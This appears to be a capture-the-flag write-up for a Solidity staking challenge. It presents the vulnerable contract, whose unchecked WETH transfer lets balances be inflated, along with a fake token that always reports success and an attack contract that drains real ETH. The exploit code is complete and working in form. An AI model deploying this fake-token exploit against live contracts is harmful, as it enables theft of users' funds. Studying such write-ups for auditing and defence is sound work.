Skip to main content

Drain_Real_ETH


🚩 Fake WETH Drains Real ETH​


Challenge Summary​

This challenge involves a staking contract that accepts both:

  • Native ETH, and
  • Wrapped ETH (WETH) as an ERC-20 token.

It treats both tokens as having the same value (1:1). But there’s a bug: the contract trusts that WETH tokens are always honest, without verifying if a real transfer happened.

As attackers, we can fake stake tokens that don’t exist and then withdraw real ETH from the contract.


Challenge Objective​

To complete the level, we need to reach a contract state where:

  • address(Stake).balance > 0 (contract still holds ETH),
  • totalStaked > address(Stake).balance (over-reported staked amount),
  • UserStake[attacker] == 0 (we've unstaked everything),
  • Stakers[attacker] == true (we were a valid staker).

Challenge Contract​

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;

constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}

function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}

function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(
abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this))
);
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(
abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount)
);
Stakers[msg.sender] = true;
return transfered;
}

function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}

function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}

Malicious Token (Fake WETH)​

The contract doesn't check that the WETH transfer actually succeeded — so we can use a fake WETH contract that just lies!

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FakeWETH {
string public name = "FakeWETH";
string public symbol = "FWETH";
uint8 public decimals = 18;

mapping(address => mapping(address => uint256)) private _allowances;

function approve(address spender, uint256 amount) external returns (bool) {
_allowances[msg.sender][spender] = amount;
return true;
}

function allowance(address owner, address spender) external view returns (uint256) {
return type(uint256).max; // Pretend infinite allowance
}

function transferFrom(address from, address to, uint256 amount) external returns (bool) {
return true; // Pretend we transferred tokens
}
}

Attack Flow​

  1. Stake real ETH (> 0.001 ETH) to become a valid staker.
  2. Fake-stake 1 WETH using the malicious token contract.
  3. Unstake 1 ETH — the contract sends you real ETH.
  4. You now have ETH you never actually deposited.

Exploit Code​

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IStake {
function StakeETH() external payable;
function StakeWETH(uint256 amount) external returns (bool);
function Unstake(uint256 amount) external returns (bool);
}

contract Attack {
IStake public stake;

constructor(address _stakeAddress) {
stake = IStake(_stakeAddress);
}

function attack() external payable {
require(msg.value >= 0.002 ether, "Need ETH to fake-stake");

// Step 1: Stake real ETH to register as a staker
stake.StakeETH{value: 0.002 ether}(); // > 0.001 ether

// Step 2: Fake-stake 1 WETH (not actually transferred)
stake.StakeWETH(1 ether); // Just inflates our stake record

// Step 3: Unstake that fake WETH to get real ETH
stake.Unstake(1 ether);

// Step 4: Transfer stolen ETH to attacker
payable(msg.sender).transfer(address(this).balance);
}

receive() external payable {}
}

How We Drained ETH — Step-by-Step​

StepActionReal ETH moved?What changes?
1StakeETH with 0.002 ETHYestotalStaked += 0.002, UserStake += 0.002, you're now a staker
2StakeWETH 1 ether (FakeWETH)NototalStaked += 1, UserStake += 1, but no real funds moved
3Unstake(1 ether)YesYou withdraw 1 ETH the contract thinks you staked
4Send ETH to your walletYesYou profit